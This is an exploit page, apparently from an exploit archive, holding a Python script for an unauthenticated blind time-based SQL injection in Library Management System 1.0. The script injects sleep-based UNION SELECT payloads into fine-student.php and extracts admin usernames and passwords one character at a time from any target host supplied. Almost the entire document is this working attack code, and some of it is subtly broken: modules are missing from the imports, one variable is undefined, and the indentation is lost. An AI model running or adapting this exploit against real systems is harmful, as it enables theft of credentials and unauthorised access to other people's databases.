Share
## https://sploitus.com/exploit?id=PACKETSTORM:164185
# Exploit Title: Library Management System 1.0 - Blind Time-Based SQL Injection (Unauthenticated)  
# Exploit Author: Bobby Cooke (@0xBoku) & Adeeb Shah (@hyd3sec)  
# Date: 16/09/2021  
# Vendor Homepage: https://www.sourcecodester.com/php/12469/library-management-system-using-php-mysql.html  
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/librarymanagement.zip  
# Vendor: breakthrough2  
# Tested on: Kali Linux, Apache, Mysql  
# Version: v1.0  
# Exploit Description:  
# Library Management System v1.0 suffers from an unauthenticated SQL Injection Vulnerability allowing remote attackers to dump the SQL database using a Blind SQL Injection attack.   
# Exploitation Walkthrough: https://0xboku.com/2021/09/14/0dayappsecBeginnerGuide.html  
import requests,argparse  
from colorama import (Fore as F, Back as B, Style as S)  
  
BR,FT,FR,FG,FY,FB,FM,FC,ST,SD,SB = B.RED,F.RESET,F.RED,F.GREEN,F.YELLOW,F.BLUE,F.MAGENTA,F.CYAN,S.RESET_ALL,S.DIM,S.BRIGHT  
def bullet(char,color):  
C=FB if color == 'B' else FR if color == 'R' else FG  
return SB+C+'['+ST+SB+char+SB+C+']'+ST+' '  
info,err,ok = bullet('-','B'),bullet('!','R'),bullet('+','G')  
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)  
proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}  
  
# POST /LibraryManagement/fine-student.php  
# inject' UNION SELECT IF(SUBSTRING(password,1,1) = '1',sleep(1),null) FROM admin WHERE adminId=1; -- kamahamaha  
def sqliPayload(char,position,userid,column,table):  
sqli = 'inject\' UNION SELECT IF(SUBSTRING('  
sqli += str(column)+','  
sqli += str(position)+',1) = \''  
sqli += str(char)+'\',sleep(1),null) FROM '  
sqli += str(table)+' WHERE adminId='  
sqli += str(userid)+'; -- kamahamaha'  
return sqli  
  
chars = [ 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o',  
'p','q','r','s','t','u','v','w','x','y','z','A','B','C','D',  
'E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S',  
'T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7',  
'8','9','@','#']  
  
def postRequest(URL,sqliReq,char,position,pxy):  
sqliURL = URL  
params = {"check":1,"id":sqliReq}  
if pxy:  
req = requests.post(url=sqliURL, data=params, verify=False, proxies=proxies,timeout=10)  
else:  
req = requests.post(url=sqliURL, data=params, verify=False, timeout=10)  
#print("{} : {}".format(char,req.elapsed.total_seconds()))  
return req.elapsed.total_seconds()  
  
def theHarvester(target,CHARS,url,pxy):  
#print("Retrieving: {} {} {}".format(target['table'],target['column'],target['id']))  
position = 1  
theHarvest = ""  
while position < 8:  
for char in CHARS:  
sqliReq = sqliPayload(char,position,target['id'],target['column'],target['table'])  
if postRequest(url,sqliReq,char,position,pxy) > 1:  
theHarvest += char  
break;  
position += 1  
return theHarvest  
  
class userObj:  
def __init__(self,username,password):  
self.username = username  
self.password = password  
  
class tableSize:  
def __init__(self,sizeU,sizeP):  
self.sizeU = sizeU  
self.sizeP = sizeP  
self.uTitle = "Admin Usernames"+" "*(sizeU-15)+BR+" "+ST  
self.pTitle = "Admin Passwords"+" "*(sizeP-15)+BR+" "+ST  
def printHeader(self):  
width = self.sizeU+self.sizeP+3  
print(BR+" "*width+ST)  
print(self.uTitle,self.pTitle)  
print(BR+" "*width+ST)  
  
def printTableRow(user,size):  
username = user.username  
unLen = len(username)  
if unLen < size.sizeU:  
username = username+(" "*(size.sizeU - unLen))  
else:  
name = name[:size.sizeU]  
username += BR+" "+ST  
password = user.password  
pLen = len(password)  
if pLen < size.sizeP:  
password = password+(" "*(size.sizeP - pLen))  
else:  
password = password[:size.sizeP]  
password += BR+" "+ST  
print(username,password)  
  
  
def sig():  
SIG = SB+FY+" .-----.._ ,--.\n"  
SIG += FY+" | .. > ___ | | .--.\n"  
SIG += FY+" | |.' ,'-'"+FR+"* *"+FY+"'-. |/ /__ __\n"  
SIG += FY+" | </ "+FR+"* * *"+FY+" \ / \\/ \\\n"  
SIG += FY+" | |> ) "+FR+" * *"+FY+" / \\ \\\n"  
SIG += FY+" |____..- '-.._..-'_|\\___|._..\\___\\\n"  
SIG += FY+" _______"+FR+"github.com/boku7"+FY+"_____\n"+ST  
return SIG  
  
def argsetup():  
about = SB+FT+'Unauthenticated Blind Time-Based SQL Injection Exploit - Library Manager'+ST  
parser = argparse.ArgumentParser(description=about)  
parser.add_argument('targetHost',type=str,help='The DNS routable target hostname. Example: "http://0xBoku.com"')  
parser.add_argument('DumpXAdmins',type=int,help='Number of admin credentials to dump. Example: 5')  
parser.add_argument('-p','--proxy',type=str,help='<127.0.0.1:8080> Proxy requests sent')  
args = parser.parse_args()  
if args.proxy:  
regex = '^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}:[0-9]{2,5}$'  
if re.match(regex,args.proxy,re.IGNORECASE):  
args.proxy = {'http':'http://{}'.format(args.proxy),'https':'https://{}'.format(args.proxy)}  
else:  
print('{}Error: Supplied proxy argument {} fails to match regex {}'.format(err,args.proxy,regex))  
print('{}Example: {} -p "127.0.0.1:8080"'.format(err,sys.argv[0]))  
sys.exit(-1)  
else:  
proxy = False  
return args  
  
if __name__ == "__main__":  
header = SB+FT+' '+FR+' Bobby '+FR+'"'+FR+'boku'+FR+'"'+FR+' Cooke\n'+ST  
print(header)  
print(sig())  
args = argsetup()  
host = args.targetHost  
pxy = args.proxy  
admins = args.DumpXAdmins  
PATH = host+"/LibraryManagement/fine-student.php"  
size = tableSize(20,20)  
size.printHeader()  
dumpnumber = 1  
while dumpnumber <= admins:  
adminUsername = { "id":dumpnumber, "table":"admin", "column":"username"}  
adminUsername = theHarvester(adminUsername,chars,PATH,pxy)  
adminPassword = { "id":dumpnumber, "table":"admin", "column":"password"}  
adminPass = theHarvester(adminPassword,chars,PATH,pxy)  
adminUser = userObj(adminUsername,adminPass)  
printTableRow(adminUser,size)  
# print("Admin's Username is: {}".format(adminUsername))  
# print("Admin's Password is: {}".format(adminPass))  
dumpnumber += 1